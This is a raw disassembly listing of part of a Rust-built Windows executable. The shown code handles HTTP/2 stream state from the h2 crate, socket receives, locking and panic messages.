movups xmm1, xmmword [rbp + 0x6c0]
movaps xmmword [rbp + 0x5e0], xmm0
movaps xmmword [rbp + 0x5f0], xmm1
mov rax, qword [rbp + 0x650]
movaps xmmword [rbp - 0x30], xmm1
movaps xmmword [rbp - 0x40], xmm0
test rax, rax
je 0x1400e9bbe
mov rdx, qword [rbp + 0x658]
mov r8, qword [rbp + 0x660]
mov rcx, rsi
call qword [rax + reloc.WS2_32.dll_recv]
mov eax, edi
or eax, r14d
je 0x1400e9ca5
test edi, edi
je 0x1400e9c96
mov r9d, edi
movdqa xmm8, xmmword [rbp - 0x40]
movdqa xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp + 0x650], xmm0
mov cl, 2
mov r13b, 1
jmp 0x1400e9cdd
lea rcx, [rbp - 0x40]
mov rdx, r12
call fcn.140019b60
movzx r13d, byte [rbp - 0x40]
movzx ecx, byte [rbp - 0x3f]
movzx eax, word [rbp - 0x3e]
mov word [rbp + 0x6e8], ax
mov r9d, dword [rbp - 0x3c]
movdqu xmm8, xmmword [rbp - 0x38]
movups xmm0, xmmword [rbp - 0x28]
movaps xmmword [rbp + 0x550], xmm0
jmp 0x1400e9ceb
movups xmm0, xmmword [rbp - 0x40]
movups xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x5f0], xmm1
movaps xmmword [rbp + 0x5e0], xmm0
movaps xmmword [rbp - 0x30], xmm1
movaps xmmword [rbp - 0x40], xmm0
test r14d, r14d
je 0x1400e9ca5
xorps xmm0, xmm0
movaps xmmword [rbp + 0x650], xmm0
mov r13b, 1
jmp 0x1400e9ca8
mov r13b, 3
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
lea rcx, [rbp - 0x28]
mov r8, qword [rbp - 0x30]
call qword [rax + reloc.WS2_32.dll_recv]
mov ecx, ebx
lea rax, [0x1401ea218]
movq xmm0, rax
lea rax, [0x1401b9e38]
movq xmm8, rax
punpcklqdq xmm8, xmm0
mov r9d, r14d
movaps xmm0, xmmword [rbp + 0x650]
movaps xmmword [rbp + 0x550], xmm0
mov r8, qword [rbp + 0x5b0]
cmp r8, 2
mov ebx, ecx
mov edi, r9d
je 0x1400e9da1
lea rdx, [rbp + 0x5c8]
mov rcx, qword [rbp + 0x5b8]
mov rax, qword [rbp + 0x5c0]
test r8, r8
je 0x1400e9d2d
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rbp + 0x5b0]
cmp r8, 2
je 0x1400e9da1
mov rdx, qword [rbp + 0x5c8]
mov rcx, qword [rbp + 0x5b8]
mov rax, qword [rbp + 0x5c0]
test r8, r8
je 0x1400e9d69
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rbp + 0x5b0]
cmp rax, 2
je 0x1400e9da1
test rax, rax
je 0x1400e9da1
mov rax, qword [rbp + 0x5b8]
lock dec qword [rax]
jne 0x1400e9da1
mov rcx, qword [rbp + 0x5b8]
mov rdx, qword [rbp + 0x5c0]
call fcn.14006cb50
mov r8, qword [rbp + 0x610]
cmp r8, 2
je 0x1400e9e52
lea rdx, [rbp + 0x628]
mov rcx, qword [rbp + 0x618]
mov rax, qword [rbp + 0x620]
test r8, r8
je 0x1400e9dde
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rbp + 0x610]
cmp r8, 2
je 0x1400e9e52
mov rdx, qword [rbp + 0x628]
mov rcx, qword [rbp + 0x618]
mov rax, qword [rbp + 0x620]
test r8, r8
je 0x1400e9e1a
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rbp + 0x610]
cmp rax, 2
je 0x1400e9e52
test rax, rax
je 0x1400e9e52
mov rax, qword [rbp + 0x618]
lock dec qword [rax]
jne 0x1400e9e52
mov rcx, qword [rbp + 0x618]
mov rdx, qword [rbp + 0x620]
call fcn.14006cb50
cmp r13b, 3
je 0x1400e9e68
movzx eax, r13b
cmp eax, 4
jne 0x1400e9e70
mov al, 2
jmp 0x1400e9fbb
mov sil, 5
jmp 0x1400e9f0e
mov byte [rbp - 0x40], r13b
mov byte [rbp - 0x3f], bl
movzx ecx, word [rbp + 0x6e8]
mov word [rbp - 0x3e], cx
mov dword [rbp - 0x3c], edi
movdqu xmmword [rbp - 0x38], xmm8
movaps xmm0, xmmword [rbp + 0x550]
movups xmmword [rbp - 0x28], xmm0
test r13b, r13b
je 0x1400e9ec0
cmp eax, 1
jne 0x1400e9ecb
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x660], rax
movups xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x650], xmm0
movq rax, xmm8
mov sil, 1
jmp 0x1400e9ef0
movq rax, xmm8
mov eax, eax
xor esi, esi
jmp 0x1400e9ef0
movq rax, xmm8
test rax, rax
je 0x1400e9ee2
lea rdx, [rbp - 0x38]
mov ecx, ebx
call fcn.140022cf0
jmp 0x1400e9eed
movzx eax, bl
shl rax, 0x20
or rax, 3
mov sil, 4
mov rcx, qword [rbp + 0x660]
mov qword [rbp + 0x500], rcx
movapd xmm0, xmmword [rbp + 0x650]
movapd xmmword [rbp + 0x4f0], xmm0
mov byte [rbp + 0x508], sil
mov byte [rbp + 0x509], bl
mov dword [rbp + 0x50c], edi
mov qword [rbp + 0x510], rax
movapd xmm0, xmmword [rbp + 0x4f0]
movupd xmmword [rbp + 0x518], xmm0
mov rax, qword [rbp + 0x500]
mov qword [rbp + 0x528], rax
mov qword [rbp - 0x40], 3
mov rdi, qword [rbp + 0x6f8]
mov qword [rbp + 0x4d8], rdi
mov rbx, qword [rdi]
cmp rbx, 3
je 0x1400ea194
mov rcx, rdi
call fcn.1400bcbc0
mov qword [rdi], 3
cmp sil, 5
je 0x1400e9fb4
mov qword [rbp + 0x6e8], rbx
lea rax, [rbp + 0x509]
mov byte [rbp - 0x40], sil
movupd xmm0, xmmword [rax]
movupd xmm1, xmmword [rax + 0x10]
movupd xmmword [rbp - 0x3f], xmm0
movupd xmmword [rbp - 0x2f], xmm1
mov rax, qword [rax + 0x1f]
mov qword [rbp - 0x20], rax
lea rcx, [rbp - 0x40]
call fcn.14003fe60
cmp sil, 5
setne al
movaps xmm6, xmmword [rbp + 0x710]
movaps xmm7, xmmword [rbp + 0x720]
movaps xmm8, xmmword [rbp + 0x730]
add rsp, 0x7c8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov word [rbp + 0x6e8], dx
movaps xmm0, xmmword [rbp + 0x4e0]
jmp 0x1400e9c1f
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.1.0_srcmapcore.rs
mov rcx, r13
call fcn.140186a70
jmp 0x1400ea4a4
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.1.0_srcmapcore_raw.rs
mov rcx, r13
call fcn.140186a70
jmp 0x1400ea4a4
mov rax, qword [rbp + 0x6e8]
mov qword [rbp - 0x40], rax
mov eax, dword [rbp + 0x6e0]
mov byte [rbp - 0x38], al
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbp - 0x40]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x1400ea4a4
mov qword [rbp - 0x40], r12
mov byte [rbp - 0x38], al
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbp - 0x40]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x1400ea4a4
mov qword [rbp + 0x6e8], rbx
mov qword [rdi], 3
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.29_src_future_futuremap.rs8
mov edx, 0x28
call fcn.140186b70
jmp 0x1400ea4a4
lea rax, [rbp + 0x584]
mov qword [rbp + 0x6b0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x6b8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
mov qword [rbp - 0x20], 0
lea rax, [rbp + 0x6b0]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp - 0x40]
call fcn.1401869b0
jmp 0x1400ea4a4
lea rax, [rbp + 0x584]
mov qword [rbp + 0x6b0], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x6b8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
mov qword [rbp - 0x20], 0
lea rax, [rbp + 0x6b0]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp - 0x40]
call fcn.1401869b0
jmp 0x1400ea4a4
mov qword [rbp - 0x40], rbx
mov eax, dword [rbp + 0x6a4]
mov byte [rbp - 0x38], al
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbp - 0x40]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x1400ea4a4
mov rax, qword [rbp + 0x640]
mov qword [rbp - 0x40], rax
mov byte [rbp - 0x38], cl
lea rax, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140172360
lea r8, [rbp - 0x40]
mov edx, 0x2b
call fcn.140186ec0
jmp 0x1400ea4a4
mov ecx, 1
mov rdx, rbx
call fcn.140186620
jmp 0x1400ea4a4
call fcn.1400106d0
jmp 0x1400ea4a4
lea rcx, str.assertion_failed:__id.is_zero__C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcprotopeer.rs
lea r8, [0x1401a3ff8]
mov edx, 0x1f
call fcn.140186b70
ud2
cmp rdx, 1
jne 0x1400ed772
mov rax, qword [rbp + 0x6f8]
mov rsi, qword [rax]
mov qword [rax], 0
test rsi, rsi
je 0x1400eb4b0
mov qword [rbp + 0x350], rsi
mov rax, qword [rbp + 0x480]
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rbp + 0x358]
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
cmp dword [rdi + 0x100], 4
jne 0x1400eb3f9
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x1400eb450
mov byte [rbp + 0x763], 1
mov rcx, qword [rbp + 0x700]
mov rdx, qword [rbp + 0x718]
call fcn.1400f29a0
test rax, rax
jne 0x1400ed6bf
mov r14, rdx
test rdx, rdx
jne 0x1400ed781
cmp dword [rdi + 0x100], 4
jne 0x1400ed6bf
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x1400ed6bf
mov esi, dword [rbp + 0x374]
mov rax, qword [rbp + 0x370]
mov qword [r15 + 0x20], rax
movdqu xmm0, xmmword [rbp + 0x350]
movups xmm1, xmmword [rbp + 0x360]
movups xmmword [r15 + 0x10], xmm1
movdqu xmmword [r15], xmm0
mov byte [rbp + 0x590], 6
mov byte [rbp + 0x763], 0
mov rcx, rdi
lea rdx, [rbp + 0x590]
call fcn.1400b8160
cmp al, 0xc
jne 0x1400eda99
mov rax, qword [rbp + 0x6f8]
mov rax, qword [rax]
test rax, rax
je 0x1400eb4cf
jmp 0x1400eb4dc
cmp byte [rdi + 0x3d4], 0
je 0x1400eb4dc
cmp dword [rdi + 0x3c8], 0
je 0x1400eb4dc
mov esi, dword [rdi + 0x3d0]
xor eax, eax
test rax, rax
jne 0x1400eb4dc
cmp byte [rdi + 0x3d4], 0
jne 0x1400ed765
mov rax, qword [rbp + 0x720]
mov rdx, qword [rax]
cmp rdx, 2
je 0x1400eb51b
mov rcx, qword [rdi + 0x380]
mov rax, qword [rdi + 0x388]
test rdx, rdx
je 0x1400eb511
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rbp + 0x4f0]
call qword [rax + 0x60]
mov qword [rbp + 0xd0], 2
mov qword [rbp + 0xf0], 0
mov rsi, qword [rdi + 0x3e1]
test byte [rdi + 0x3e0], 1
mov byte [rdi + 0x3e0], 0
je 0x1400eb601
cmp dword [rdi + 0x100], 4
jne 0x1400eb56c
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x1400eb5da
mov rcx, qword [rbp + 0x700]
mov rdx, qword [rbp + 0x718]
call fcn.1400f29a0
test rax, rax
je 0x1400eb5a4
mov byte [rdi + 0x3e0], 1
mov r13b, 4
mov rdx, qword [rbp + 0xd0]
cmp rdx, 2
jne 0x1400ebd81
jmp 0x1400ec6f0
test rdx, rdx
je 0x1400eb5ba
lea rcx, [rbp + 0x590]
call fcn.140019b60
jmp 0x1400ebd1f
cmp dword [rdi + 0x100], 4
jne 0x1400eb584
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x1400eb584
mov qword [rbp + 0x592], rsi
mov word [rbp + 0x590], 0x105
mov rcx, rdi
lea rdx, [rbp + 0x590]
call fcn.1400b8160
cmp al, 0xc
jne 0x1400edef8
movzx eax, byte [rdi + 0x3e9]
test eax, eax
je 0x1400eb6ff
cmp eax, 2
jne 0x1400eb780
mov rax, qword [rbp + 0x588]
mov rax, qword [rax]
test rax, rax
je 0x1400eb780
mov rax, qword [rax + 0x10]
cmp rax, 1
jne 0x1400eb75c
cmp dword [rdi + 0x100], 4
jne 0x1400eb65a
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x1400eb6aa
mov rcx, qword [rbp + 0x700]
mov rdx, qword [rbp + 0x718]
call fcn.1400f29a0
mov r13b, 4
test rax, rax
jne 0x1400ebd70
test rdx, rdx
jne 0x1400eb74b
cmp dword [rdi + 0x100], 4
jne 0x1400ebd70
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x1400ebd70
movabs rax, 0xb416870b7adb7c3b
mov qword [rbp + 0x592], rax
mov word [rbp + 0x590], 5
mov rcx, rdi
lea rdx, [rbp + 0x590]
call fcn.1400b8160
cmp al, 0xc
jne 0x1400ee184
mov rax, qword [rbp + 0x588]
mov rax, qword [rax]
mov qword [rax + 0x10], 2
cmp dword [rdi + 0x478], 2
je 0x1400eb78d
jmp 0x1400eb940
cmp dword [rdi + 0x100], 4
jne 0x1400eb723
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x1400eb8fa
mov rcx, qword [rbp + 0x700]
mov rdx, qword [rbp + 0x718]
call fcn.1400f29a0
mov r13b, 4
test rax, rax
jne 0x1400ebd70
test rdx, rdx
je 0x1400eb8d2
lea rcx, [rbp + 0x590]
call fcn.140019b60
jmp 0x1400ebd1f
mov rax, qword [rbp + 0x588]
mov rcx, qword [rax]
add rcx, 0x18
mov rax, qword [rbp + 0x718]
mov rdx, qword [rax]
call fcn.140019920
nop dword [rax]
cmp dword [rdi + 0x478], 2
jne 0x1400eb940
mov dword [rdi + 0x478], 2
cmp dword [rdi + 0x438], 0
je 0x1400eb84d
mov rsi, qword [rdi + 0x400]
lea r13, [rsi + 0x10]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400ec051
mov dword [rbp + 0x748], 0
movzx eax, byte [rsi + 0x18]
test al, al
jne 0x1400edcf1
cmp dword [rsi + 0x28], 0
je 0x1400ebccd
mov ebx, dword [rsi + 0x2c]
cmp dword [rdi + 0x100], 4
mov qword [rbp + 0x750], r13
jne 0x1400eb819
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x1400ebc98
mov rcx, qword [rbp + 0x700]
mov rdx, qword [rbp + 0x718]
call fcn.1400f29a0
mov r15, rax
test rax, rax
je 0x1400eb8aa
mov r13, qword [rbp + 0x750]
cmp byte [rbp + 0x748], 0
jne 0x1400ebcf6
jmp 0x1400ebce3
cmp dword [rdi + 0x100], 4
jne 0x1400eb871
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x1400ec097
mov rcx, qword [rbp + 0x700]
mov rdx, qword [rbp + 0x718]
call fcn.1400f29a0
mov r13b, 4
test rax, rax
jne 0x1400ec6a4
test rdx, rdx
je 0x1400ec06f
lea rcx, [rbp + 0x590]
call fcn.140019b60
jmp 0x1400eb994
mov r14, rdx
test rdx, rdx
mov r13, qword [rbp + 0x750]
je 0x1400ebc6e
xor r15d, r15d
cmp byte [rbp + 0x748], 0
jne 0x1400ebcf6
jmp 0x1400ebce3
cmp dword [rdi + 0x100], 4
jne 0x1400ebd70
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x1400ebd70
mov rax, qword [rdi + 0x3ea]
mov qword [rbp + 0x592], rax
mov word [rbp + 0x590], 5
mov rcx, rdi
lea rdx, [rbp + 0x590]
call fcn.1400b8160
cmp al, 0xc
jne 0x1400ee079
mov byte [rdi + 0x3e9], 1
cmp dword [rdi + 0x478], 2
je 0x1400eb78d
nop dword [rax]
cmp dword [rdi + 0x100], 4
jne 0x1400eb964
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x1400eba02
mov rcx, qword [rbp + 0x700]
mov rdx, qword [rbp + 0x718]
call fcn.1400f29a0
mov r13b, 4
test rax, rax
jne 0x1400ec6a4
test rdx, rdx
je 0x1400eb9da
lea rcx, [rbp + 0x590]
call fcn.140019b60
movzx r13d, byte [rbp + 0x590]
movzx eax, byte [rbp + 0x591]
movzx ecx, word [rbp + 0x592]
mov edx, dword [rbp + 0x594]
movdqu xmm0, xmmword [rbp + 0x598]
lea r8, [rbp + 0x598]
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rbp + 0x4b0], xmm1
cmp r13b, 4
jne 0x1400ec686
jmp 0x1400ec6a4
cmp dword [rdi + 0x100], 4
jne 0x1400ec6a4
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x1400ec6a4
mov byte [rbp + 0x5cc], 1
mov dword [rbp + 0x594], 0
mov dword [rbp + 0x59c], 0
mov dword [rbp + 0x5a4], 0
mov dword [rbp + 0x5ac], 0
mov dword [rbp + 0x5b4], 0
mov dword [rbp + 0x5bc], 0
mov dword [rbp + 0x5c4], 0
mov byte [rbp + 0x590], 4
mov rcx, rdi
lea rdx, [rbp + 0x590]
call fcn.1400b8160
cmp al, 0xc
jne 0x1400edf82
mov rsi, qword [rdi + 0x400]
lea rbx, [rsi + 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne case.0x1400e1cdb.74
mov dword [rbp + 0x710], 0
mov qword [rbp + 0x730], rbx
movzx eax, byte [rsi + 0x18]
test al, al
jne 0x1400edfb8
mov r14, qword [rdi + 0x408]
lea rbx, [r14 + 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne case.0x1400e9218.43
xor eax, eax
movzx ecx, byte [r14 + 0x18]
test cl, cl
jne 0x1400ee002
lea rdx, [rsi + 0x170]
cmp dword [rdi + 0x488], 0
je 0x1400ebb00
mov ecx, dword [rdi + 0x48c]
mov qword [rdx], rcx
mov qword [rbp + 0x750], rdx
mov qword [rbp + 0x508], r14
mov dword [rbp + 0x714], eax
mov qword [rbp + 0x500], rbx
cmp dword [rdi + 0x4a8], 0
je 0x1400ebb32
cmp dword [rdi + 0x4ac], 0
setne byte [rsi + 0x131]
cmp dword [rdi + 0x490], 0
je 0x1400ec5bb
lea rax, [rsi + 0x1b8]
mov qword [rbp + 0x748], rax
mov ecx, dword [rdi + 0x494]
mov eax, dword [rsi + 0x12c]
mov dword [rsi + 0x12c], ecx
xor edx, edx
mov r14d, ecx
sub r14d, eax
setne dl
mov r8d, 0xff
cmovb edx, r8d
cmp dl, 0xff
je 0x1400ebf03
movzx eax, dl
cmp eax, 1
jne 0x1400ec5bb
mov rbx, qword [rsi + 0x1f8]
test rbx, rbx
je 0x1400ec5bb
mov rax, qword [rbp + 0x508]
add rax, 0x20
mov qword [rbp + 0x740], rax
lea rax, [rsi + 0xc0]
mov qword [rbp + 0x708], rax
lea r15, [rsi + 0x160]
xor r13d, r13d
nop word cs:[rax + rax]
cmp qword [rsi + 0x210], r13
jbe 0x1400edf48
mov rax, qword [rsi + 0x200]
test rax, rax
je 0x1400edf48
mov rcx, r13
shl rcx, 4
mov rdx, qword [rbp + 0x748]
mov qword [rbp + 0x590], rdx
movq xmm0, qword [rax + rcx + 8]
pshufd xmm0, xmm0, 0xe1
movq qword [rbp + 0x598], xmm0
mov qword [rsp + 0x28], r15
mov rax, qword [rbp + 0x750]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x708]
mov edx, r14d
mov r8, qword [rbp + 0x740]
lea r9, [rbp + 0x590]
call fcn.1400f46a0
test eax, eax
jne 0x1400ec427
mov rax, qword [rsi + 0x1f8]
cmp rax, rbx
sbb r13, 0xffffffffffffffff
cmp rax, rbx
sbb rbx, 0
cmp r13, rbx
jb 0x1400ebbd0
jmp 0x1400ec5bb
mov r15d, 1
cmp dword [rdi + 0x100], 4
jne 0x1400ec10b
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x1400ebcda
mov dword [rbp + 0x594], ebx
mov dword [rbp + 0x598], 7
mov byte [rbp + 0x590], 8
mov rcx, rdi
lea rdx, [rbp + 0x590]
call fcn.1400b8160
cmp al, 0xc
mov r13, qword [rbp + 0x750]
jne 0x1400ee0af
mov dword [rsi + 0x28], 0
xor r14d, r14d
xor r15d, r15d
cmp byte [rbp + 0x748], 0
jne 0x1400ebcf6
mov rax, qword [0x14023c300]
shl rax, 1
test rax, rax
jne 0x1400ec411
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov r13b, 4
test r15, r15
jne 0x1400ebd70
test r14, r14
je 0x1400ebe36
lea rcx, [rbp + 0x590]
mov rdx, r14
call fcn.140019b60
movzx r13d, byte [rbp + 0x590]
movzx eax, byte [rbp + 0x591]
mov byte [rbp + 0x767], al
movzx eax, word [rbp + 0x592]
mov word [rbp + 0x764], ax
mov eax, dword [rbp + 0x594]
mov dword [rbp + 0x75c], eax
movdqu xmm8, xmmword [rbp + 0x598]
lea rax, [rbp + 0x598]
movdqu xmm0, xmmword [rax + 0x10]
movdqa xmmword [rbp + 0x6c0], xmm0
nop dword [rax + rax]
mov rdx, qword [rbp + 0xd0]
cmp rdx, 2
je 0x1400ec6f0
mov rcx, qword [rbp + 0xd8]
mov rax, qword [rbp + 0xe0]
test rdx, rdx
je 0x1400ebda6
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rbp + 0xe8]
call qword [rax + 0x68]
mov rdx, qword [rbp + 0xd0]
cmp rdx, 2
je 0x1400ec6f0
mov rcx, qword [rbp + 0xd8]
mov rax, qword [rbp + 0xe0]
test rdx, rdx
je 0x1400ebde6
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rbp + 0xe8]
call qword [rax + 0x80]
mov rax, qword [rbp + 0xd0]
cmp rax, 2
je 0x1400ec6f0
test rax, rax
je 0x1400ec6f0
mov rax, qword [rbp + 0xd8]
lock dec qword [rax]
jne 0x1400ec6f0
mov rcx, qword [rbp + 0xd8]
mov rdx, qword [rbp + 0xe0]
call fcn.14006cb50
jmp 0x1400ec6f0
mov rdx, qword [rbp + 0xd0]
cmp rdx, 2
je 0x1400ebee7
mov rcx, qword [rbp + 0xd8]
mov rax, qword [rbp + 0xe0]
test rdx, rdx
je 0x1400ebe6c
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rbp + 0xe8]
call qword [rax + 0x68]
mov rdx, qword [rbp + 0xd0]
cmp rdx, 2
je 0x1400ebee7
mov rcx, qword [rbp + 0xd8]
mov rax, qword [rbp + 0xe0]
test rdx, rdx
je 0x1400ebea8
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rbp + 0xe8]
call qword [rax + 0x80]
mov rax, qword [rbp + 0xd0]
cmp rax, 2
je 0x1400ebee7
test rax, rax
je 0x1400ebee7
mov rax, qword [rbp + 0xd8]
lock dec qword [rax]
jne 0x1400ebee7
mov rcx, qword [rbp + 0xd8]
mov rdx, qword [rbp + 0xe0]
call fcn.14006cb50
mov rax, qword [rbp + 0x720]
mov rax, qword [rax]
mov r13b, 3
cmp rax, 2
jne 0x1400ec700
jmp 0x1400ec73a
mov rdx, qword [rsi + 0x1f8]
test rdx, rdx
je 0x1400ec11d
sub eax, ecx
xor ecx, ecx
xor r8d, r8d
mov r15, qword [rbp + 0x750]
jmp 0x1400ebf57
mov dword [r9 + 0x84], r11d
add ecx, ebx
mov r9, qword [rsi + 0x1f8]
cmp r9, rdx
sbb r8, 0xffffffffffffffff
cmp r9, rdx
sbb rdx, 0
cmp r8, rdx
jae 0x1400ec126
cmp qword [rsi + 0x210], r8
jbe 0x1400edf65
mov r9, qword [rsi + 0x200]
test r9, r9
je 0x1400edf65
mov r11, r8
shl r11, 4
mov r10d, dword [r9 + r11 + 8]
mov r11d, dword [r9 + r11 + 0xc]
mov dword [rbp + 0x540], r11d
mov dword [rbp + 0x544], r10d
cmp qword [rsi + 0x1c8], r11
jbe 0x1400edc29
mov r9, qword [rsi + 0x1b8]
test r9, r9
je 0x1400edc29
imul r11, r11, 0x130
cmp dword [r9 + r11], 2
je 0x1400edc29
add r9, r11
cmp dword [r9 + 0x114], r10d
jne 0x1400edc29
mov r10d, dword [r9 + 0x80]
sub r10d, eax
jo 0x1400ec036
mov dword [r9 + 0x80], r10d
test r10d, r10d
jle 0x1400ec010
mov r11d, dword [r9 + 0x84]
mov ebx, r11d
test r11d, r11d
jle 0x1400ec022
sub ebx, r10d
jbe 0x1400ebf39
jmp 0x1400ec02d
xor r10d, r10d
mov r11d, dword [r9 + 0x84]
mov ebx, r11d
test r11d, r11d
jg 0x1400ebff9
xor ebx, ebx
sub ebx, r10d
jbe 0x1400ebf39
sub r11d, ebx
jno 0x1400ebf30
movaps xmmword [rbp + 0x310], xmm7
mov r13b, 1
mov dword [rbp + 0x6bc], 3
xor ebx, ebx
jmp 0x1400ec439
call fcn.14018d880
xor al, 1
mov dword [rbp + 0x748], eax
movzx eax, byte [rsi + 0x18]
test al, al
je 0x1400eb7e1
jmp 0x1400edcf1
cmp dword [rdi + 0x100], 4
jne 0x1400ec6a4
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x1400ec6a4
movzx eax, byte [rdi + 0x474]
movdqu xmm0, xmmword [rdi + 0x43c]
movups xmm1, xmmword [rdi + 0x44c]
movups xmm2, xmmword [rdi + 0x45c]
mov rcx, qword [rdi + 0x46c]
movdqu xmmword [rbp + 0x594], xmm0
movups xmmword [rbp + 0x5a4], xmm1
movups xmmword [rbp + 0x5b4], xmm2
mov qword [rbp + 0x5c4], rcx
mov byte [rbp + 0x5cc], al
mov byte [rbp + 0x590], 4
mov rcx, rdi
lea rdx, [rbp + 0x590]
call fcn.1400b8160
cmp al, 0xc
jne 0x1400ee131
mov dword [rdi + 0x438], 1
jmp 0x1400eb7a4
cmp byte [rbp + 0x748], 0
jne 0x1400ebcf6
jmp 0x1400ebce3
xor ecx, ecx
mov r15, qword [rbp + 0x750]
mov qword [rbp + 0x350], 2
mov qword [rbp + 0x370], 0
mov eax, dword [rsi + 0xcc]
lea edx, [rax + rcx]
shl rdx, 0x20
add ecx, eax
